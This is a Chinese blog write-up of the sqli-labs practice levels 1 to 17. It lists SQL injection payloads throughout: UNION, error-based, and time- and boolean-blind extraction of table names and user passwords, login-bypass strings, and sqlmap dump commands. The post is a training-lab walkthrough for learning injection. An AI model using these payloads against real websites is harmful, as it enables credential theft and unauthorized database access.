sqli-libs闯关记录

5 篇文章 0 订阅
1 篇文章 0 订阅

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

方法一:手工UNION联合查询注入

输入单引号,页面错误,如下:
在这里插入图片描述

根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,

猜想:咱们输入的1在数据库中出现的位置为:select … from … where id=’1’ …,

也可以查看sqli-lab中less-1的php文件可以看到,和猜想一致,

暴库
在这里插入图片描述
得到数据库的库名
在这里插入图片描述
采用order by语句进行递归查询

1.查询到3还是没有回显信息
在这里插入图片描述
2.一直查询到4,出现回显信息。
在这里插入图片描述

暴字段名

?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+

在这里插入图片描述
暴值

?id=0’ union select 1,2,group_concat(username,0x3a,password) from users–+

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username。
在这里插入图片描述

方法二: 手工注入报错

?id=1’ and 1=1–+ //错误
?id=1’ and 1=2–+ //正确
在这里插入图片描述
在这里插入图片描述

less 2 GET - Error based - Intiger based (基于错误的GET整型注入)

尝试id=1’看会有什么回显
在这里插入图片描述
回显出现错误,显然存在 ’ 没有被过滤,出现语法错误或者说是简单‘字符’注入导致多出来一个 ’ ,从而导致语法错误。

通过实际验证回显错误属于哪一种,首先验证是否是字符型注入:
?id=1’ and 1=1’
在这里插入图片描述
发现回显还是出错,说明不是第一种错误,接下来验证是不是第二种错误
?id=1 and 1=1–+
在这里插入图片描述
看到页面回显判断是数字注入,通过验证发现存在注入点
?id=1 and 1=2–+
在这里插入图片描述
发现注入点后,开始通过语法暴字段名称
?id=1 order by 4–+
在这里插入图片描述
通过多次尝试后,由回显信息得出数据库只存在三个字段,接下来我们采用union select联合查询
?id=0 union select 1,2,3–+ 回显内容如下
在这里插入图片描述
接着爆库名,版本号:?id=-1’ union select 1,database(),version()–+
在这里插入图片描述

接着爆所有数据库:?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata–+
在这里插入图片描述
爆表名:?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’%23
在这里插入图片描述
爆列名:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’%23

在这里插入图片描述
爆数据:?id=0 union select 1,2,group_concat(id,username,password) from users%23
在这里插入图片描述

less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

单引号报错,输入id=1’,根据报错信息发现输入的内容后有’ ,想到应该以 ’ 来闭合表达式。
在这里插入图片描述
在这里插入图片描述
由回显信息可看出输入id=1’报错,所以在id=1后面加上 ’ ,其他方法和前面用到一样,不再重复。
这样我们就直接爆数据库了 :?id=-1’) union select 1,2,group_concat(id,username,password) from users%23

在这里插入图片描述

less 4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

双引号报错,输入1’,显示正常,输入1’’,根据报错信息发现输入的内容后有"),这应该是以’’) 来闭合表达式的
在这里插入图片描述
在这里插入图片描述
由回显信息可看出输入id=1’'报错,所以在id=1后面加上 ‘’) ,其他方法和前面用到一样,不再重复。
直接爆数据 :?id=-1") union select 1,2,group_concat(id,username,password) from users%23
在这里插入图片描述

less 5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

输入id=1,看到如下回显信息,第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了
在这里插入图片描述
下面给出验证时间延迟型的盲注:
?id=1’ and sleep(5)–+
发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。

注解:其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功。

方法一:时间延迟型手工注入:
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。

首先,我们来爆库长度
?id=1’ and if(length(database())=8,sleep(5),1)–+ (通过观察我们能明显感觉出来时间延长了)
注解:一次次尝试,发现明显延迟,数据库长度为8.
在这里插入图片描述
接下来我们可以爆库名
?id=1’ and if(left(database(),1)=‘s’,sleep(5),1)–+

注解:通过验证,明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。(这种手工验证会花费大量时间)

最终爆破得到left(database(),8)=‘security’ (验证会发现明显的延迟)
在这里插入图片描述

爆表名payload

?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

通过坚持不懈的测试,终于在limit 3,1 爆破出user表名为users.

爆列名payload

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,多次尝试是limit 3,1的时候查到了password列,同样的方法查询username ,接下来爆破字段的值。

爆破值payload

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

方法二,布尔型手工注入:

在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1

手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。

暴库payload

?id=1' and left((select database()),1)='s'--+

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

爆表paylaod

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users。

爆列名payload

?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

定向爆破制定password为字段名,最后找到第4个字段为password,同理看看有没有usrname,最后到找到了,接下来只需要爆破这两个字段的值就完事了。

爆字段payload

?id=1' and left((select password from users order by id limit 0,1),1)='d' --+

用户名

?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

注解:布尔盲注比较烦的就是,需要大量时间去尝试。

方法三,使用concat聚合函数

payload在concat()中构造

爆库payload

?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
爆用户payload

?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

爆表名payload

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password

爆列名payload

?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

修改limit x,1 可以遍历列名,找到username和password列

爆字段payload

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
修改limit x,1 可以显示第x个用户的password和username (‘[’是分隔符)

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

双引号字符型注入,上一题的单引号改成双引号就可以了,两种方法:时间延迟注入,或者报错型注入。

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

?id=1' and 1=1 --+

在这里插入图片描述
由回显看出,这应该是布尔盲注了,参考第五关一步步来,根据回显信息判断,不再重复操作。
注解:第五关concat函数方法用不了。

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

不管怎么输入,回显总是如下图
在这里插入图片描述
判断是时间盲注,playload:

?id=1' and sleep(3) --+

在这里插入图片描述
当id=1时候,发现明显的延迟,说明注入成功,接下来的爆破与第五关相同,不在重复。

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

这一关与第九关相同,只是把单引号换成了双引号,方法相同,不在重复。

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

post型注入,先用万能钥匙登录看一下。
在这里插入图片描述
如果我们采用Dump用户使用Dump密码登陆,可以看到以下
在这里插入图片描述
union select联合查询

-admin'  union select 1,2#

在这里插入图片描述
爆用户名、数据名、版本信息

-admin’ union select database(),user()#

在这里插入图片描述
查看数据
-admin’
union select (select group_concat(username) from security.users),(select group_concat(password) from security.users) #
在这里插入图片描述

用sqlmap跑一下,看结果
在这里插入图片描述

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

less-12和less-11一样,只是闭合方式变成了”。不再重复介绍。

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

通过报错可知 是通过’) 闭合的
直接用 admin’ ) and 1=2#
在这里插入图片描述
直接报错注入

uname=admin') and extractvalue(1,concat(0x7e,(select database())))  and ('
uname=admin') and extractvalue(1,concat(0x7e,(select version())))#

在这里插入图片描述
在这里插入图片描述
然后继续或许表名

-admin’  ) and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5c)))#

在这里插入图片描述

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

less-14和less-13原理相同,只是把 ’ 换成了 ‘’ ,不在重复。

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

时间延迟测试payload

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

在这里插入图片描述
明显延迟,确定使用延迟注入。接下来就是耗费时间的不断菜解,不在过多叙述。

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

万能账号绕过密码验证:admin")#

在这里插入图片描述
不管怎么输入,都没有错误信息回显,猜想延迟注入。
在这里插入图片描述
less-16和less-15差不多,只需要把上一题正的单引号改为双引号加括号 ") 就完事了

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

和前面有点不一样的是,直接回显密码重置。
在这里插入图片描述直接用sqlmap跑出数据库信息。
在这里插入图片描述>sqlmap.py -r E:\java\post\17.txt -p passwd --dbs
在这里插入图片描述>sqlmap.py -r E:\java\post\17.txt -p passwd -D security -T users -C password,username --dump
在这里插入图片描述

sqlmap.py -r E:\java\post\17.txt -p passwd -D security --tables
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值